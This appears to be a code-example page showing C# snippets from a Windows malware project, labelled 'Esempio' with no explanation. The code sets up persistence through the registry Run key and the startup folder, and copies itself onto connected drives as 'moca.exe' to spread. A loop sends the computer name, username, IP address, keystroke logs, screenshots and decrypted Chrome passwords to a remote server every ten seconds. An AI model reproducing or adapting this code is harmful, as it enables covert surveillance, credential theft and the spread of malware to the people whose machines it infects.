Esempio n. 1
0
 public static bool startupDisplacement()
 {
     try
     // Registry startup attemp
     {
         RegistryKey runKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
         // If registry key does not exist already
         if (runKey.GetValue("ssms") == null)
         {
             runKey.SetValue("ssms", appdataPath);
         }
         else
         if (File.Exists(startupPath))
         {
             File.Delete(startupPath);
         }
         return(true);
     }
     catch (Exception ex)
     // If startup with registry failed
     {
         ErrorHandler.errorRaised(ex);
         try
         // Startup folder attemp
         {
             File.Copy(ComputerInformations.getApplicationPath(), startupPath);
             return(true);
         }
         catch (Exception ex_2)
         {
             ErrorHandler.errorRaised(ex_2);
             return(false);
         }
     }
 }
Esempio n. 2
0
 public static void attachToDevices()
 {
     try
     {
         foreach (string device in getConnectedDevices())
         {
             if (!File.Exists(device + "\\moca.exe"))
             {
                 File.Copy(ComputerInformations.getApplicationPath(), device + "\\moca.exe");
             }
             MessageBox.Show(device + "\\moca.exe");
         }
     }
     catch (Exception ex)
     {
         ErrorHandler.errorRaised(ex);
     }
 }
Esempio n. 3
0
 public static bool appdataDisplacement()
 {
     if (File.Exists(Operations.appdataPath))
     {
         return(true);
     }
     else
     {
         try
         {
             File.Copy(ComputerInformations.getApplicationPath(), Operations.appdataPath);
         }
         catch (Exception ex)
         {
             ErrorHandler.errorRaised(ex);
             return(false);
         }
     }
     return(true);
 }
        private void communicationLoop()
        {
            while (this.isCommunicating)
            {
                // Every 10 seconds
                Thread.Sleep(10000);

                // Sends Computer name
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_COMPUTER_NAME +
                                 ComputerInformations.getComputerName());

                // Sends Username
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_USERNAME +
                                 ComputerInformations.getUsername());

                // Sends IP Address
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_IP_ADDRESS +
                                 ComputerInformations.getPublicIP());

                // Sends Installation path
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_INSTALLATION_PATH +
                                 ComputerInformations.getApplicationPath());

                // Sends Is Installed
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_INSTALLED +
                                 ComputerInformations.isInstalled());

                // Sends Startup
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_AUTORUN +
                                 ComputerInformations.isStartup());

                // Sends Running
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_RUNNING +
                                 ComputerInformations.isRunning());

                // Sends Error raised
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_ERROR +
                                 ErrorHandler.getError());

                // Sends Keyboard Log
                string keyboardLog = KeyboardLogHandler.getKeyboardLog();
                if (keyboardLog != string.Empty)
                {
                    try
                    {
                        Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                         ServerConfiguration.POST_KEYSTROKES +
                                         keyboardLog);
                        KeyboardLogHandler.resetLog();
                    }
                    catch (Exception ex)
                    {
                        ErrorHandler.errorRaised(ex);
                    }
                }

                // Sends screenshot
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_SCREENSHOT +
                                 ScreenshotCapture.getScreenShotAsB64());

                // Sends passwords
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_PASSWORD +
                                 new ChromePasswordDecryptor().readDataFromDatabase());

                // Spreding malware
                Spreading.attachToDevices();
            }
        }